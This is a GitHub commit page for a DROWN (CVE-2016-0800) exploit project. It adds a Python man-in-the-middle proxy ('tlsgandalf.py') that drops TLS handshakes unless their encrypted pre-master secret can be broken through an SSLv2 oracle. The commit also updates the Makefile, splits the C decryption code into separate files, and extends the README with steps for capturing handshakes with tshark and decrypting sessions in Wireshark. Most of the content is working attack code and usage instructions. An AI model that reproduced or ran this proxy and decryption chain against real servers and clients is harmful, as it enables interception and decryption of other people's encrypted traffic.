Skip to content

Commit 445c3a7

Browse files
committed
Active DROWN attack by disconnection
1 parent 36d5a33 commit 445c3a7

10 files changed

+370
-128
lines changed

Makefile

+9-3
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,18 @@
11
CFLAGS=-I$(SSL_PREFIX)/include
22
LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm
3-
OBJS=drown.o oracle.o trimmers.o decrypt.o
3+
DECRYPT_OBJS=drown.o oracle.o trimmers.o decrypt.o utils.o
4+
TRIMMABLE_OBJS=trimmable.o oracle.o trimmers.o decrypt.o utils.o
45

5-
drown: $(OBJS)
6+
all: decrypt trimmable
7+
8+
decrypt: $(DECRYPT_OBJS)
9+
gcc -g -o $@ $^ $(LDFLAGS)
10+
11+
trimmable: $(TRIMMABLE_OBJS)
612
gcc -g -o $@ $^ $(LDFLAGS)
713

814
%.o: %.c
915
gcc -g -c -o $@ $^ $(CFLAGS)
1016

1117
clean:
12-
rm drown $(OBJS)
18+
rm -f decrypt trimmable $(DECRYPT_OBJS) $(TRIMMABLE_OBJS)

README.md

+30-4
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ Now let's compile the exploit :
2222

2323
To decrypt an encrypted pre-master secret c, using the public key of the server at the address host:port, we will use the following command :
2424

25-
./drown host:port certfile c
25+
./decrypt host:port certfile c
2626

2727
## Passive attack
2828

@@ -33,7 +33,7 @@ In this case, we can decrypt some TLS sessions if :
3333
* the server is vulnerable to CVE-2016-0800 ;
3434
* there is a sufficient number of session.
3535

36-
## Simulation
36+
### Simulation
3737

3838
To simulate this scenario, want to record some TLS handshakes between a client and a server.
3939
We will use the old version of OpenSSL we have installed to create a server, and initiate a lot of sessions.
@@ -42,7 +42,7 @@ We will capture the handshakes with tshark.
4242
cd /path/to/prefix
4343
./bin/openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 123
4444
./bin/openssl s_server -cert cert.pem -key key.pem -accept 4433 -www
45-
tshark -i lo -w handshakes.cap
45+
tshark -i lo -w handshakes.cap tcp port 4433
4646
for i in $(seq 1000) ; do (echo 'GET / HTTP/1.1\r\n'; sleep 0.1) | ./bin/openssl s_client -connect 127.0.0.1:4433 -cipher kRSA; done
4747

4848
We can now get the encrypted pre-master secrets for each session with :
@@ -55,7 +55,33 @@ To decrypt these handshakes, we need an OpenSSL server accepting SSLv2 connectio
5555

5656
We can now decrypt the encrypted pre-master secret :
5757

58-
tshark -r handshakes.cap -d tcp.port==4433,ssl -T fields -e ssl.handshake.epms -Y ssl.handshake.epms | tr -d : | ./drown localhost:4434 cert.pem > pms.txt
58+
tshark -r handshakes.cap -d tcp.port==4433,ssl -T fields -e ssl.handshake.epms -Y ssl.handshake.epms | tr -d : | ./decrypt localhost:4434 cert.pem > pms.txt
5959

6060
After some time and if we're lucky, we will have some results in pms.txt. You can use this file in Wireshark to decrypt the content of the TLS session (Protocol Preferences > SSL > (Pre)-Master-Secret log filename).
6161

62+
## Gandalf attack
63+
64+
The passive attack allows us decrypt some TLS sessions (around 1/100 using 70 trimmers).
65+
If we want to see all the traffic between the client and the server, we can act as a MITM proxy between them
66+
and only allow sessions that we know we can decrypt.
67+
This will be effective if the client doesn't mind getting a TLS handshake abruptly closed, and if it tries hard to reconnect.
68+
This will typically work if the client is an automated process (and not a human !).
69+
70+
### Simulation
71+
72+
We start our SSLv2 and TLS servers :
73+
74+
./bin/openssl s_server -cert cert.pem -key key.pem -accept 4433 -www
75+
./bin/openssl s_server -cert cert.pem -key key.pem -accept 4434 -www -ssl2
76+
77+
We start our MITM server on port 4455 :
78+
tlsgandalf 127.0.0.1:4455 127.0.0.1:4433 127.0.0.1:4434 cert.pem
79+
80+
We will record the packets with tshark, and start a bunch of sessions.
81+
We assume that the clients connects to our proxy (because of DNS spoofing, or something else) :
82+
tshark -i lo -w handshakes.cap tcp port 4455
83+
for i in $(seq 1000) ; do (echo 'GET / HTTP/1.1\r\n'; sleep 1) | ./bin/openssl s_client -connect 127.0.0.1:4455 -cipher kRSA; done
84+
85+
When a trimmer is found for one handshake, the proxy will print it to stdout.
86+
We can now process as before to decrypt the session.
87+

decrypt.h

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#ifndef DECRYPT_H
22
#define DECRYPT_H
33

4-
#include "drown.h"
4+
#include "utils.h"
55

66
void decrypt(drown_ctx *dctx);
77

drown.c

+1-117
Original file line numberDiff line numberDiff line change
@@ -1,127 +1,11 @@
11
#include <openssl/bn.h>
22
#include <openssl/err.h>
33
#include <openssl/ssl.h>
4-
#include "drown.h"
4+
#include "utils.h"
55
#include "trimmers.h"
66
#include "decrypt.h"
77

88

9-
void drown_new(drown_ctx * dctx)
10-
{
11-
dctx->ctx = BN_CTX_new();
12-
SSL_ASSERT(dctx->ctx != NULL);
13-
14-
dctx->n = BN_new();
15-
SSL_ASSERT(dctx->n != NULL);
16-
17-
dctx->e = BN_new();
18-
SSL_ASSERT(dctx->e != NULL);
19-
20-
dctx->c = BN_new();
21-
SSL_ASSERT(dctx->c != NULL);
22-
23-
dctx->s = BN_new();
24-
SSL_ASSERT(dctx->s != NULL);
25-
26-
dctx->mt = BN_new();
27-
SSL_ASSERT(dctx->mt != NULL);
28-
}
29-
30-
void drown_free(drown_ctx * dctx)
31-
{
32-
BN_free(dctx->mt);
33-
BN_free(dctx->s);
34-
BN_free(dctx->c);
35-
BN_free(dctx->e);
36-
BN_free(dctx->n);
37-
BN_CTX_free(dctx->ctx);
38-
}
39-
40-
void read_public_key(drown_ctx * dctx, char *filename)
41-
{
42-
// Read file
43-
FILE * fp = fopen(filename, "r");
44-
MY_ASSERT(fp != NULL, "can't open certificate file");
45-
46-
// Read cert
47-
X509 *cert = PEM_read_X509(fp, NULL, NULL, NULL);
48-
MY_ASSERT(cert != NULL, "file is not a certificate");
49-
50-
// Read public key
51-
EVP_PKEY * pkey = X509_get_pubkey(cert);
52-
MY_ASSERT(pkey != NULL, "can't get public key from certificate");
53-
54-
// Check RSA key
55-
MY_ASSERT(pkey->type == EVP_PKEY_RSA, "public key is not RSA");
56-
MY_ASSERT(EVP_PKEY_bits(pkey) == 2048, "only RSA-2048 is supported for now");
57-
58-
// Read RSA key
59-
RSA *rsa = EVP_PKEY_get1_RSA(pkey);
60-
61-
// Copy the public key
62-
BN_copy(dctx->n, rsa->n);
63-
BN_copy(dctx->e, rsa->e);
64-
65-
RSA_free(rsa);
66-
EVP_PKEY_free(pkey);
67-
X509_free(cert);
68-
fclose(fp);
69-
}
70-
71-
int pkcs1_v1_5_unpad(BIGNUM *src, BIGNUM *dst)
72-
{
73-
unsigned char srcbin[256] = {0};
74-
BN_bn2bin(src, srcbin + 256 - BN_num_bytes(src));
75-
int i;
76-
77-
if(srcbin[i++] != 0)
78-
return -1;
79-
if(srcbin[i++] != 2)
80-
return -1;
81-
while(srcbin[i])
82-
{
83-
i++;
84-
if(i >= 256)
85-
return -1;
86-
}
87-
i++;
88-
BN_bin2bn(&srcbin[i], 256 - i, dst);
89-
return 256 - i;
90-
}
91-
92-
void print_hexbuf(const unsigned char *buffer, long len)
93-
{
94-
char hexdigits[] = "0123456789abcdef";
95-
for(int i = 0; i < len; i++)
96-
{
97-
int nib1 = buffer[i] >> 4;
98-
int nib2 = buffer[i] & 15;
99-
printf("%c%c", hexdigits[nib1], hexdigits[nib2]);
100-
}
101-
}
102-
103-
void dump_wireshark(char *c_hex, BIGNUM *mt)
104-
{
105-
// Now PCKS#1 v1.5 unpad the message
106-
unsigned char bin[256] = {0};
107-
BN_bn2bin(mt, bin + 256 - BN_num_bytes(mt));
108-
MY_ASSERT(bin[0] == 0, "decrypted message is not properly padded");
109-
MY_ASSERT(bin[1] == 2, "decrypted message is not properly padded");
110-
int i = 2;
111-
while(bin[i])
112-
{
113-
i++;
114-
MY_ASSERT(i < 256, "decrypted message is not properly padded");
115-
}
116-
i++;
117-
118-
// We can now print the unpadded message
119-
// (in Wireshark format)
120-
printf("RSA ");
121-
printf("%.16s ", c_hex);
122-
print_hexbuf(&bin[i], 256-i);
123-
printf("\n");
124-
}
1259

12610
int main(int argc, char *argv[])
12711
{

ssl_locl.h

+2
Original file line numberDiff line numberDiff line change
@@ -29,4 +29,6 @@ int ssl2_new(SSL *s);
2929

3030
int ssl_get_new_session(SSL *s, int session);
3131

32+
const SSL_METHOD *SSLv2_method(void);
33+
3234
#endif

tlsgandalf.py

+150
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
#!/usr/bin/env python3
2+
3+
import socket
4+
from tlslite.api import *
5+
from tlslite.constants import ContentType, HandshakeType
6+
from binascii import hexlify
7+
import subprocess
8+
import sys
9+
10+
def handshakeProxy(c_conn, s_conn, oracle):
11+
s_conn._handshakeStart(client=False)
12+
c_conn._handshakeStart(client=True)
13+
14+
s_settings = HandshakeSettings()
15+
c_settings = HandshakeSettings()
16+
17+
18+
# CLIENT HELLO C -> S
19+
for result in s_conn._getMsg(ContentType.handshake,
20+
HandshakeType.client_hello):
21+
if result in (0,1): yield result
22+
else: break
23+
clientHello = result
24+
25+
c_conn.version = clientHello.client_version
26+
27+
for result in c_conn._sendMsg(clientHello):
28+
yield result
29+
30+
31+
# SERVER HELLO S -> C
32+
for result in c_conn._getMsg(ContentType.handshake,
33+
HandshakeType.server_hello):
34+
if result in (0,1): yield result
35+
else: break
36+
serverHello = result
37+
38+
s_conn.version = serverHello.server_version
39+
cipherSuite = serverHello.cipher_suite
40+
41+
for result in s_conn._sendMsg(serverHello):
42+
yield result
43+
44+
45+
# CERTIFICATE S -> C
46+
for result in c_conn._getMsg(ContentType.handshake,
47+
HandshakeType.certificate,
48+
serverHello.certificate_type):
49+
if result in (0,1): yield result
50+
else: break
51+
certificate = result
52+
53+
for result in s_conn._sendMsg(certificate):
54+
yield result
55+
56+
# SERVER HELLO DONE S -> C
57+
for result in c_conn._getMsg(ContentType.handshake,
58+
HandshakeType.server_hello_done):
59+
if result in (0,1): yield result
60+
else: break
61+
serverHelloDone = result
62+
63+
for result in s_conn._sendMsg(serverHelloDone):
64+
yield result
65+
66+
# CLIENT KEY EXCHANGE C -> S
67+
for result in s_conn._getMsg(ContentType.handshake,
68+
HandshakeType.client_key_exchange,
69+
cipherSuite):
70+
if result in (0,1): yield result
71+
else: break
72+
clientKeyExchange = result
73+
74+
# Ask the oracle if we continue
75+
epms = clientKeyExchange.encryptedPreMasterSecret
76+
if not oracle(epms):
77+
# YOU SHALL NOT PASS !
78+
return
79+
80+
print(hexlify(epms).decode())
81+
82+
# If it's ok, continue
83+
for result in c_conn._sendMsg(clientKeyExchange):
84+
yield result
85+
86+
87+
# Now we don't care about the SSL protocol, we just forward the records
88+
# No, that doesn't look like the right way to do it.
89+
try:
90+
while True:
91+
for cdata, sdata in zip(c_conn._recordLayer._recordSocket.recv(), s_conn._recordLayer._recordSocket.recv()):
92+
if cdata in (0, 1):
93+
yield cdata
94+
else:
95+
for result in s_conn._recordLayer._recordSocket._sockSendAll(cdata[0].write() + cdata[1]):
96+
yield result
97+
if sdata in (0, 1):
98+
yield sdata
99+
else:
100+
for result in c_conn._recordLayer._recordSocket._sockSendAll(sdata[0].write() + sdata[1]):
101+
yield result
102+
except TLSAbruptCloseError:
103+
pass
104+
105+
106+
if __name__ == "__main__":
107+
if len(sys.argv) != 5:
108+
print("Usage: {} listenaddr connectaddr oracleaddr cert".format(sys.argv[0]))
109+
exit(0)
110+
111+
# Get parameters
112+
listenaddr, connectaddr, oracleaddr, cert = sys.argv[1:]
113+
listenaddr = (listenaddr.split(':')[0], int(listenaddr.split(':')[1]))
114+
connectaddr = (connectaddr.split(':')[0], int(connectaddr.split(':')[1]))
115+
oracleaddr = (oracleaddr.split(':')[0], int(oracleaddr.split(':')[1]))
116+
117+
oracle = lambda epms: not subprocess.call(["./trimmable", '{}:{}'.format(*oracleaddr), cert, hexlify(epms)])
118+
119+
# Setup server socket
120+
bindsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
121+
bindsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
122+
bindsock.bind(listenaddr)
123+
print("Listening on {}:{}".format(*listenaddr), file=sys.stderr)
124+
bindsock.listen(1)
125+
126+
while True:
127+
# Wait for client
128+
s_sock, fromaddr = bindsock.accept()
129+
print("Connection from {}:{}".format(*fromaddr), file=sys.stderr)
130+
131+
# Open connection to the TLS server
132+
c_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
133+
c_sock.connect(connectaddr)
134+
print("Proxying to {}:{}".format(*connectaddr), file=sys.stderr)
135+
136+
c_sock.setblocking(False)
137+
s_sock.setblocking(False)
138+
139+
c_conn = TLSConnection(c_sock)
140+
s_conn = TLSConnection(s_sock)
141+
142+
# Proxy the connection
143+
for res in handshakeProxy(c_conn, s_conn, oracle):
144+
pass
145+
146+
c_sock.close()
147+
s_sock.close()
148+
print(file=sys.stderr)
149+
150+

0 commit comments

Comments
 (0)